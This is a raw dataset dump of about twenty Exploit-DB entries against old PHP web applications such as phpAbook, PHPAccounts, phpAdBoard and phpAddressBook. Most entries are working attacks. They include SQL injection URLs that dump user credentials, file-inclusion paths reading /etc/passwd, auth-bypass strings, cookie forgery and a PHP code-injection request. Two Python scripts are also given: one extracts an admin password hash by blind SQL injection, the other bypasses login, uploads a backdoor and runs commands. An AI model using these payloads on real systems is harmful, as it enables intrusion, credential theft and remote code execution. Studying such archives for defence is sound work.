deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38543
Description: PHP4dvd - 'config.php' PHP Code Injection
Type: webapps
Platform: php
Date: 2012-05-31
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/60257/info

php4dvd is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

php4dvd 2.0 is vulnerable; other versions may also be affected. 

POST /php4dvd/install/?go=configuration HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/php4dvd/install/?go=configuration
Cookie: __utma=11[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]810583.1; __utmz=11[PII_REDACTED]810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=9bucpus4ag68733h2fjpm190p0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130

dbhost=localhost&dbport=3306;phpinfo()&dbname=php4dvd&dbuser=root&dbpass=myP@ssw0rd&url=php4dvd&template=default&defaultlanguage=en_US&submit=Next
Exploit-DB #4072
Description: PHP::HTML 0.6.4 - 'PHPhtml.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-14
Author: o0xxdark0o

Exploit:
phphtml
v 0.6.4
FOUND BY : o0xxdark0o
Website: http://www.sitellite.org/
DOWNLOAD : http://sourceforge.net/projects/phphtml
REMOTE FILE INCLUDE
############################################################
FILE :
PATH\phphtml.php
############################################################
EXP:
xxx.com\path\phphtml.php?htmlclass_path=SH3ll.txt?
############################################################
CODE: on line 19
<?

define (PHPHTML_VERSION, "0.6.4");

/* gettext is not implemented for now*/
$use_gettext=0;

/* We need to know where the PHP::HTML tree is installed.*/

if (strlen(chop($htmlclass_path))==0) $htmlclass_path=".";
if ($use_gettext==1)
{
   if (function_exists("gettext"))
   {
       $gettext_enable=1;
   }
}

include("$htmlclass_path/ext.php");  /* Some extenstions to PHP */
include("$htmlclass_path/core.php");  /* PHP::HTML Core */
include("$htmlclass_path/xhtml.php");  /* XHTML extensions */
include("$htmlclass_path/xhtml_table.php");  /* XHTML tables extensions */
include("$htmlclass_path/xhtml_forms.php");  /* XHTML forms extensions */
include("$htmlclass_path/xhtml_doc.php");  /* XHTML document extension */
include("$htmlclass_path/wml.php");  /* WML extension */


/* Below is a debugging example */

/*
$t=new XHTML_doc("Hello");
echo $t->render();
*/


############################################################
thanks for all my friends.. str0ke  .... oxdo .... cold z3ro
www.hach-teach.org - www.3asfh.com
############################################################
BY : o0xxdark0o
     o0xxdark0o@msn.com

# milw0rm.com [2007-06-14]
Exploit-DB #14201
Description: PHPaaCMS - 'list.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-04
Author: CoBRa_21

Exploit:
########################################################################################

phpaaCms (list.php?id) SQL Injection Vulnerability

########################################################################################

Author : CoBRa_21

Script Home : http://phpaa.cn

Dork : null

########################################################################################
 
Sql Injection:

http://localhost/[path]/list.php?id=161'    (SQL İnj.)

########################################################################################
Exploit-DB #14199
Description: PHPaaCMS 0.3.1 - 'show.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-04
Author: Shafiq-Ur-Rehman

Exploit:
#﻿Exploit Title: phpaaCms (show.php?id=) SQL injection Vulnerable
# Software http://www.phpaa.cn
# Tested on: win 7
# category: webapp
# Code : n/a
+++++++++++++++++++++++++++++++++++++++++++++++++++++++
 MWUHH TO Bl00dMafia: KashmiriMafia, Mirpuri, Mirzatun: gula, Boby, Mota & aSIM^JARRAL
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
       Gr33tz to  All PakISTANI Hackers 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 

 
----- [ Founder ] -----
 
    Shafiq-Ur-rehman
 
----- [ Email] -----
 
    aol.shafiq@gmail.com
 
 
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 {{{{TITLE}}}
 
PHPAA (show.php) Sql injection Vulnerable
 
+++++[ Vendor ]+++++
 
http://www.phpaa.cn
 
                                                        
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 
----- [ SQL Injection ] -----
 
Put [SQL CODE]
 
[Link] http://server/phpaaCMS/show.php?id=1[SQL CODE]
 


             {Tested On}
 
----- [ Live Link (s) ] -----
 
[SQLi] http://<server>/show.php?id=1[CODE]
 
[SQLI] http://server/phpaaCMS/show.php?id=-194 union all select 1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users--
 

 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  Thanks To All: www.Exploit-db.com | Ksecurity-team Members| 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-muwhhh>>> http://www.sql-injection-tools.blogspot.com
 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
     >>Live Long Pakistan<<
 
>>> Live Long Azad Kashmir<<<
 
>>> Proude To Be A Kashmiri+Pakistani<<<
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>Bug discovered : 4 July 2010
Exploit-DB #6679
Description: phpAbook 0.8.8b - 'cookie' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-05
Author: JosS

Exploit:
# phpAbook <= 0.8.8b (COOKIE) Local File Inclusion Vulnerability
# url: http://sourceforge.net/projects/phpabook/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# *Requirements: magic_quotes_gpc = Off

vuln file: include/config.inc.php
vuln code:

x:  >...
61: if (isset($HTTP_COOKIE_VARS["userInfo"]) && $HTTP_COOKIE_VARS["userInfo"] != "") {
	$userArray = explode(" ", $HTTP_COOKIE_VARS["userInfo"]);
	$userName = $userArray[0];
	$userID = $userArray[1];
	$userLang = $userArray[2];
	include("include/lang/$userLang/inc.messages.php");
67:	}
x:  <...

Proof of Concept (function 'explode' PHP):
[0] = JosS;
[1] = JosS;
[2] = ../../../../etc/passwd%00; ---> INCLUDE

exploit: 
javascript:document.cookie="userInfo=JosS JosS ../../../../etc/passwd%00; path=/";

Ingenious work :D

# milw0rm.com [2008-10-05]
Exploit-DB #50071
Description: phpAbook 0.9i - SQL Injection
Type: webapps
Platform: php
Date: 2021-06-30
Author: Alejandro Perez

Exploit:
# Exploit Title: phpAbook 0.9i - SQL Injection
# Date: 2021-06-29
# Vendor Homepage: http://sourceforge.net/projects/phpabook/
# Exploit Author: Said Cortes, Alejandro Perez
# Version: v0.9i
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

import requests
import argparse
import string
import sys


def exploit(session,host):
    print("Starting Exploit\nSearching Admin Hash...")
    passwordhash = ''
    for i in range(1,33):
        charset = string.digits + string.ascii_lowercase
        for letter in charset:
            burp0_url = f"{host}/index.php"
            burp0_data = {"auth_user": f"admin'-IF((SELECT MID(password,{i},1) from ab_auth_user where uid=1)='{letter}',SLEEP(3),0)#", "auth_passwd": "admin", "lang": "en", "submit": "Login"}
            try:
                session.post(burp0_url, data=burp0_data, timeout=1)
            except requests.Timeout:
                passwordhash += letter
                continue
    print("admin:"+passwordhash)
        

                
    
if __name__ == "__main__" :
    session = requests.session()
    parser = argparse.ArgumentParser()
    parser.add_argument("-u","--url",help="host url \nex: http://127.0.0.1/phpabook",required=True)
    arg = parser.parse_args()
    exploit(session,arg.url)
Exploit-DB #13803
Description: PHPAccess - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-09
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:PHPAccess SQLi Vulnerability
Version:n/a
Vendor url:http://www.krizleebear.de
Published: 2010-06-09
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue™®, S1ayer,d3c0d3r and to all
ICW members
############################################################################################################


PHPAccess SQLi Vulnerability

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]

############################################################################################################

Description:

PHPAccess allows you to easily safe your Website against unallowed access.
It offers an intuitive and easy-to-use user-interface that displays current
information and possible actions on one page.
You don't have to know anything about the complex unix-htaccess-system nor
do you have to create the .htaccess- / .htpasswd-files.
PHPAccess does this job for you. You even don't have to know the absolute
path to your website - PHP finds this information automatically.
With PHPAccess you can add, modify and delete the users that have access to
your data.
All you have to do is upload the PHPAccess-file, give it the correct
file-permissions (via ftp-proggie) and start PHPAccess in your web-browser.
###########################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL :http://server/phpaccess/dynamisch/index.php
Exploit-DB #30220
Description: PHPAccounts 0.5 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-06-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/24572/info

PHP Accounts is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

PHP Accounts 0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=../../etc/passwd
Exploit-DB #30221
Description: PHPAccounts 0.5 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-06-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/24574/info

PHP Accounts is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP Accounts 0.5 is vulnerable; other versions may also be affected.

http://www.example.com/path/index.php?Outgoing_Type_ID=[SQL INJECTION]
http://www.example.com/path/index.php?Outgoing_ID=[SQL INJECTION]
http://www.example.com/path/index.php?Project_ID=[SQL INJECTION]
http://www.example.com/path/index.php?Client_ID=[SQL INJECTION]
http://www.example.com/path/index.php?Invoice_ID=[SQL INJECTION]
http://www.example.com/path/index.php?Vendor_ID=[SQL INJECTION]
Exploit-DB #19029
Description: phpAcounts 0.5.3 - SQL Injection
Type: webapps
Platform: php
Date: 2012-06-08
Author: loneferret

Exploit:
######################################################################################
# Exploit phpAcounts v.0.5.3 SQL Injection
# Date: June 6nd 2012
# Author: loneferret
# Version: 0.5.3
# Vendor Url: http://phpaccounts.com/
# Tested on: Ubuntu Server 11.10
######################################################################################
# Discovered by: loneferret
######################################################################################

# Old app, still fun.

Auth. Bypass:
http://<server>/phpaccounts/index.php
Username: x' or '1'='1'#
Password: <whatever>

Upload php shell in preferences 
Letterhead image upload does not sanitize file extensions.
http://server/index.php?page=tasks&action=preferences

Acess shell:
Where '1' is the user's ID.
http://server/phpaccounts/users/1/<filename>



---- Python PoC ---------

#!/usr/bin/python

import re, mechanize
import urllib, sys

print "\n[*] phpAcounts v.0.5.3 Remote Code Execution"
print "[*] Vulnerability discovered by loneferret"

print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 3):
    print "[*] Usage: poc.py <RHOST> <RCMD>"
    exit(0)

rhost = sys.argv[1]
rcmd = sys.argv[2]


print "[*] Bypassing Login ."
try:
        br = mechanize.Browser()
        br.open("http://%s/phpaccounts/index.php?frameset=true" % rhost)
        assert br.viewing_html()
        br.select_form(name="loginForm")
        br.select_form(nr=0)
        br.form['Login_Username'] = "x' or '1'#"
        br.form['Login_Password'] = "pwnd"
        print "[*] Triggering SQLi .."
        br.submit()
except:
        print "[*] Oups..Something happened"
        exit(0)

print "[*] Uploading Shell ..."
try:
        br.open("http://%s/phpaccounts/index.php?page=tasks&action=preferences" % rhost)
        assert br.viewing_html()
        br.select_form(nr=0)
        br.form["Preferences[LETTER_HEADER]"] = 'test'
        br.form.add_file(open('backdoor.php'), "text/plain", "backdoor.php", name="letterhead_image")
        br.submit(nr=2)
except:
        print "[*] Upload didn't work"
        exit(0)

print "[*] Command Executed\n"
try:
        shell = urllib.urlopen("http://%s/phpaccounts/users/1/backdoor.php?cmd=%s" % (rhost,rcmd))
        print shell.read()
except:
        print "[*] Oups."
        exit(0)
Exploit-DB #8437
Description: phpAdBoard - 'conf.inc' Remote Configuration File Disclosure
Type: webapps
Platform: php
Date: 2009-04-15
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: phpAdBoard

<<->> demo site :: www.w2b.ru/demo/phpAdBoard/index.php
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================

<<->> Exploit :: Remote Config File Disclosure
 
                >>> http://www.cyb3r.1st/ [path] /conf/conf.inc

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , all muslims , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ] , hackteach, and all arabic sites

<<->> special greetz to His0k4 >> ( translate this if u can essa7 emba7 emboo ) if u can i will translate ur she3ar

# milw0rm.com [2009-04-15]
Exploit-DB #7562
Description: PHPAdBoard - PHP uploads Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-23
Author: ahmadbady

Exploit:
.......................................................................

****(remote shell upload)****

script: phpAdBoard
   
***************************************************************************
download from:http://www.w2b.ru/download/phpAdBoard.zip
   
***************************************************************************
www.site.com/path/index.php
shell: www.site.com/path/photoes/number_shell.php
-----------------------------------------------------------------------------------------
dork:"powered by phpAdBoard"

if folder photoes is forbidden
after get upload file u do right-click and see image properties and u see address file.
  
------------------------------------------------------------------------------------------  
**************************************************


Author: ahmadbady 

**************************************************

# milw0rm.com [2008-12-23]
Exploit-DB #8440
Description: phpAdBoardPro - 'config.inc' Configuration File Disclosure
Type: webapps
Platform: php
Date: 2009-04-15
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: phpAdBoardPro

<<->> download :: http://www.w2b.ru/download/phpAdBoardPro.zip
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================

<<->> Exploit :: Remote Config File Disclosure
 
                >>> http://www.cyb3r.1st/ [path] /conf/conf.inc

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , all muslims , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ] , hackteach, and all arabic sites

# milw0rm.com [2009-04-15]
Exploit-DB #7418
Description: PhpAddEdit 1.3 - 'cookie' Authentication Bypass
Type: webapps
Platform: php
Date: 2008-12-11
Author: x0r

Exploit:
-------------------------------------
   PhpAddEdit 1.3 Login By Pass 
-------------------------------------

Found By: x0r ( Evolution Team )
Email: andry2000@hotmail.it
-------------------------------------

Bug In: Addedit-login.php

		if (!$login_error) {
			// --- Set admin cookie so favorite form field will show up when I use
the site...
			if ($_POST["rememberme"]) {
				$expire = mktime(0,0,0,date("m"),date("d")+120,date("Y"));
				setcookie("addedit", $_POST["adminuser"], $expire, "/", "", 0);
			} else {
				setcookie("addedit", $_POST["adminuser"]);
			}
			Header("Location:  ./");
		}
	}
	
Ci basta conoscere l'username dell'admin per bypassare il login :P ^ ^
-------------------------------------

Exploit:

javascript:document.cookie = "addedit=[adminuser]; path=/";

es:

javascript:document.cookie = "addedit=x0r; path=/";
--------------------------------------
Live Demo: http://www.phpaddedit.com/demo/
--------------------------------------
Greetz: Amore oggi +65 ti amo troppo.

# milw0rm.com [2008-12-11]
Exploit-DB #7417
Description: phpAddEdit 1.3 - 'editform' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-10
Author: nuclear

Exploit:
#phpaddedit-1.3 LFI


#Author: nuclear


#script:http://sourceforge.net/projects/phpaddedit/


#vuln:http://target.com/addedit-render.php?editform=../../../../../../../etc/passwd%00


#vulnerable code:
if (!$formname && $_GET["editform"]) $formname = $_GET["editform"];
...
if ( $error_message || $error || !$_POST["submitval"] ) {
    include_once ($formname."-header.inc.php");
    include_once ($addeditcwd."addedit-create-form.php");
    include_once ($formname."-footer.inc.php");
}




#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r

# milw0rm.com [2008-12-10]
Exploit-DB #31539
Description: PHPAddressBook 2.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-26
Author: Virangar Security

Exploit:
source: https://www.securityfocus.com/bid/28456/info

phpAddressBook is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phpAddressBook 2.0 is vulnerable; other versions may also be affected.

The following proof of concept is available:

login:admin ' or 1=1/*
password:[blank]
Exploit-DB #5432
Description: PHPAddressBook 2.11 - 'view.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-11
Author: Cr@zy_King

Exploit:
[~] phpAddressBook Remote Sql Ä°nj. Vuln.

[~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip

[~] Version : All My Version

[~] Founder: Cr@zy_King

[~] HomePage: http://coderx.org

[~] Greatz : str0ke & All My Friends

[~] Contact: crazy_kinq@hotmail.co.uk

[~] PoC:

http://www.xxx.org/view.php?id=-1+union+select+1,2,3,convert(concat(database(),char(58),user(),char(58),version()),char),5,6,7,8,9,10,11,12/*

---------------------
http://coderx.org
---------------------

# milw0rm.com [2008-04-11]
Exploit-DB #5288
Description: phpAddressBook 2.11 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-03-21
Author: 0x90

Exploit:
      /  _  \ /\  /\ / _  \ /  _  \
      | | | | \ \/ / ||_| | | | | |
      | | | |  \  /  \_   | | | | |
      | |_| |  /  \   __\ | | |_| |
      \_____/ / /\ \ |____/ \_____/
              \/  \/


[~] phpAddressBook v2.11 Multiple Local File Inclusion Vulnerabilities

[~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip

[~] Founder: 0x90

[~] HomePage: www.0x90.com.ar

[~] Public: http://0x90.com.ar/Advisory/20080321.txt

[~] Contact: Guns[at]0x90[dot]com[dot]ar

[~] PoC:

   http://[host]/[path]/index.php?skin=/../config.php %00
   http://[host]/[path]/install.php?skin=/../config.php %00


Greetz: ...

# milw0rm.com [2008-03-21]